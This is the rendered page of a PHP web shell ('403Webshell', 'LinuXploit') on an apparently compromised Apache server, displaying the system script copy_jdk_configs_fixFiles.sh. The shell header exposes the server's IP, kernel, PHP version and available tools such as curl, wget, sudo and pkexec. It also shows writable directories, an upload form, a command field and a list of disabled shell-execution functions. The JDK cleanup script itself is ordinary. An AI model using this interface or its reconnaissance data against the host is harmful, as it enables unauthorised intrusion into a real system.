403Webshell
Server IP : 103.119.228.120  /  Your IP : 18.117.154.134
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/copy_jdk_configs_fixFiles.sh
#!/bin/bash
config=$1
target=$2

debug(){
  if [ "x$debug" == "xtrue" ] ; then
    echo "$@"
  fi
}

debug "cjc: bash debug is on"

isJavaConfig() {
  local arg="${1}"
  local relpath=`realpath -s $arg`
  local realink=`readlink -f $arg`
  if [[  ${relpath} = /usr/lib/jvm/java* || ${relpath} = /etc/java/java* ]] ; then
    if [[  ${realink} = /usr/lib/jvm/java* || ${realink} = /etc/java/java* ]] ; then
        debug "$arg / ${relpath} / ${realink} is correct jdk folder"
      return 0
    fi
  fi
  debug "$arg / ${relpath} / ${realink} is not jdk folder, file/dir should be skipped"
  return 1
}

cmdvDebug() {
  if [ "x$debug" == "xtrue" ] ; then
    "$@" -v
  else
    "$@" 1>/dev/null 2>&1
  fi
}

mvDebug() {
  cmdvDebug mv "$@"
}

rmDebug() {
  local switch=""
  for x in "$@" ; do 
    if [[ $x == -* ]] ; then
      switch="$switch $x"
    elif isJavaConfig "$x" ; then
      cmdvDebug rm $switch "$x"
    fi
  done
}

rmdirDebug() {
  local switch=""
  for x in "$@" ; do 
    if [[ $x == -* ]] ; then
      switch="$switch $x"
    elif isJavaConfig "$x" ; then
      cmdvDebug rmdir $switch "$x"
    fi
  done
}

#we should be pretty strict about removing once used (even "used" [with fail]) config file, as it may corrupt another installation
clean(){
  debug "cleanup: removing $config"
  if [ "x$debug" == "xtrue" ] ; then
   rm -rf $config -v
  else
   rm -rf $config 1>/dev/null 2>&1
  fi
}

if [ "x" == "x$config" ] ; then
  debug "no config file specified"
  exit 1
fi

if [ ! -f  "$config" ] ; then
  debug "$config file do not exists"
  # expected case, when no migration happened
  exit 0
fi 

if [ "x" == "x$target" ] ; then
  debug "no target dir specified"
  clean
  exit 2
fi

if [ ! -d  "$target" ] ; then
  debug "$target is not directory"
  clean
  exit 22
fi 

source=`cat $config` 

if [ "x" == "x$source" ] ; then
  debug "no information in $config"
  clean
  exit 3
fi

if [ ! -d  "$source" ] ; then
  debug "$source from $config is not directory"
  clean
  exit 33
fi 


listLinks(){
  find $1 -type l -print0 | xargs -0 ls -ld | sed "s; \+-> \+;_->_;g" | sed "s;.* $1;$1;"
}

printIfExists(){
  if [ -e $ffileCandidate ] ; then
    echo $1
  else
    # stdout can be captured, therefore stderr
    debug "skipping not-existing link-target-dir $1" 1>&2
  fi
}

createListOfLinksTargetsDirectories(){
  pushd $source >/dev/null 2>&1 
    local links=`listLinks $1`
    for x in $links ; do 
      echo "$x" | grep "jre-abrt" > /dev/null
      if [ $? -eq 0 ] ; then
        continue
      fi
      local ffileCandidate=$(echo $x | sed "s/.*_->_//") ;
# ignoring relative paths as they may lead who know where later   
# there can be simlink relative to position, so push is not catching all
      if [ "$ffileCandidate" != "${ffileCandidate#/}" ] ; then
        if [ -d $ffileCandidate ] ; then
# should we accept the links to directories themselves?
          printIfExists $ffileCandidate
        else
          printIfExists `dirname $ffileCandidate`
        fi
      fi
    done | sort | uniq
  popd >/dev/null 2>&1 
}

sourceLinks=`listLinks $source`
targetLinks=`listLinks $target`
sourceLinksDirsTarget=`createListOfLinksTargetsDirectories  $source`
targetLinksDirsTarget=`createListOfLinksTargetsDirectories  $target`

debug "source: $source"
debug "target: $target"

debug "sourceLinks:
$sourceLinks"
debug "targetLinks:
$targetLinks"

debug "sourceLinksDirsTarget:
$sourceLinksDirsTarget"
debug "targetLinksDirsTarget:
$targetLinksDirsTarget"

sourceSearchPath="$source $sourceLinksDirsTarget"
targetSearchPath="$target $targetLinksDirsTarget"

work(){
  if [ "X$1" == "Xrpmnew" -o "X$1" == "Xrpmorig" ] ; then
    debug "Working with $1 (1)"
  else
    debug "unknown parameter: $1"
    return 1
  fi

  local files=`find $targetSearchPath | grep "\\.$1$"`
  for file in $files ; do
    local sf1=`echo $file | sed "s/\\.$1$//"`
    local sf2=`echo $sf1 | sed "s/$targetName/$srcName/"`
    # was file modified in origianl installation?
    rpm -Vf $source | grep -q $sf2
    if [ $? -gt 0 ] ; then
     if [ "X$1" == "Xrpmnew" ] ; then
       debug "$sf2 was NOT modified, removing possibly corrupted $sf1 and renaming from $file"
       mvDebug -f $file $sf1
       if [ $? -eq 0 ] ; then
         echo "restored $file to $sf1"
       else
         debug "FAILED to restore $file to $sf1"
       fi
    fi
     if [ "X$1" == "Xrpmorig" ] ; then
       debug "$sf2 was NOT modified, removing possibly corrupted $file"
       rmDebug $file
    fi
    else
     debug "$sf2 was modified, keeping $file, and removing the duplicated original"
     # information is now backuped, in new directory anyway. Removing future rpmsave to allow rpm -e
     rmDebug -f $sf2
     # or its corresponding backup
     rmDebug -f $sf2.$1
    fi
done
}


srcName=`basename $source`
targetName=`basename $target`

work rpmnew
work rpmorig

debug "Working with rpmorig (2)"
# simply moving old rpmsaves to new dir
# fix for config (replace) leftovers
files=`find $sourceSearchPath | grep "\\.rpmorig$"`
  for file in $files ; do
    rpmsaveTarget=`echo $file | sed "s/$srcName/$targetName/"`
    debug "relocating $file to $rpmsaveTarget"
    if [ -e $rpmsaveTarget ] ; then
      rmDebug $file
    else
      mvDebug $file $rpmsaveTarget
    fi
  done

debug "Working with rpmsave (1)"
files=`find $sourceSearchPath | grep "\\.rpmsave$"`
  for file in $files ; do
    rpmsaveTarget=`echo $file | sed "s/$srcName/$targetName/"`
    debug "relocating $file to $rpmsaveTarget"
    if [ -e $rpmsaveTarget ] ; then
      rmDebug $file
    else
      mvDebug $file $rpmsaveTarget
    fi
  done


#warning: file /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-11.b12.el7.x86_64-debug/jre/lib/applet: remove failed: No such file or directory
#warning: file /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-11.b12.el7.x86_64-debug/jre/lib/amd64/client: remove failed: No such file or directory
#warning: file /usr/lib/jvm/java-1.7.0-openjdk-1.7.0.171-2.6.13.2.el7.x86_64/jre/lib/amd64/xawt: remove failed: No such file or directory
#those dirs might be mepty by installtion, filling to not be rmeoved later
#use exported CJC_BLACKDIRS_ADD to extend it in runtime/spec file
blackdirs=""
internal_blackdirs="jre/lib/applet jre/lib/*/client jre/lib/locale/*/LC_MESSAGES jre/lib/*/xawt jre/javaws properties/version properties jre/lib/endorsed jre/lib/boot lib/missioncontrol/p2/org.eclipse.equinox.p2.engine/profileRegistry/JMC.profile/.data"
for x in $internal_blackdirs $CJC_BLACKDIRS_ADD ; do 
  blackdirs="$blackdirs $source/$x"
done

for blackdir in $blackdirs; do
  if [ -e $blackdir ] ; then
    debug "nasty $blackdir  exists, filling"
    touch $blackdir/C-J-C_placeholder
  else
    debug "nasty $blackdir  DONT exists, ignoring"
  fi
done

debug "cleaning legacy leftowers"
if [ "x$debug" == "xtrue" ] ; then
  emptyCandidates=`find $sourceSearchPath -empty -type d`
else
  emptyCandidates=`find $sourceSearchPath -empty -type d 2>/dev/null`
fi
if [ ! "x$emptyCandidates" == "x" ] ; then
  rmdirDebug $emptyCandidates
fi
rmdirDebug $sourceSearchPath

# and remove placeholders
for blackdir in $blackdirs; do
  if [ -e $blackdir ] ; then
    debug "nasty $blackdir  exists, cleaning placeholder"
    rmDebug $blackdir/C-J-C_placeholder
  else
    debug "nasty $blackdir  DONT exists, ignoring again"
  fi
done

clean

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit